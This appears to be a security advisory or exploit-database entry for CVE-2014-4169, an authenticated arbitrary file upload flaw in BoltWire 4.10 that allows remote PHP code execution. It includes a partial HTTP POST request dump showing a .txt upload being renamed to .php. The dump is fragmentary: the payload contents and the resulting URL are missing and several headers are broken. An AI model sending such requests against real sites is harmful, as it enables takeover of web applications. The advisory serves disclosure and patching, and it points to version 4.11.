BoltWire 4.10 Arbitrary File Upload Vulnerability

ID 1337DAY-ID-22413
Type zdt
Reporter High-Tech Bridge
Modified 2014-07-06T00:00:00


Exploit for php platform in category web applications

                                            Vulnerability in BoltWire, which can be exploited to execute arbitrary PHP code on the target system and gain complete control over vulnerable web application.

1) Unrestricted Upload of File with Dangerous Type in BoltWire: CVE-2014-4169

The vulnerability exists due to insufficient validation of the filename when uploading files in "/index.php" script. A remote authenticated attacker can upload arbitrary file with ".txt" extension and rename it into ".php" using a specially crafted HTTP POST request. Successful exploitation of the vulnerability requires valid user credentials, but registration is open by default to anyone. The vulnerability allows execution of arbitrary PHP code with privileges of the webserver and can lead to complete compromise of the website.

The following dump of the HTTP POST request illustrates the upload of the file named "file.txt" and its renaming into "file.php", with contents, which allows execution of arbitrary system commands:

POST /index.php?p=action.upload HTTP/1.1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------312591666129281
Content-Length: 538

Content-Disposition: form-data; name="boltkey"

Content -Disposition: form-data; name="upload"; filename="file.txt"
Content-Type: text/plain


----------------------------- 312591666129281
Content-Disposition: form-data; name="filename"

Conte nt-Disposition: form-data; name="submit"


The uploaded file will be accessible using the following URL:


Update to BoltWire 4.11

More Information:

# [2018-01-05]  #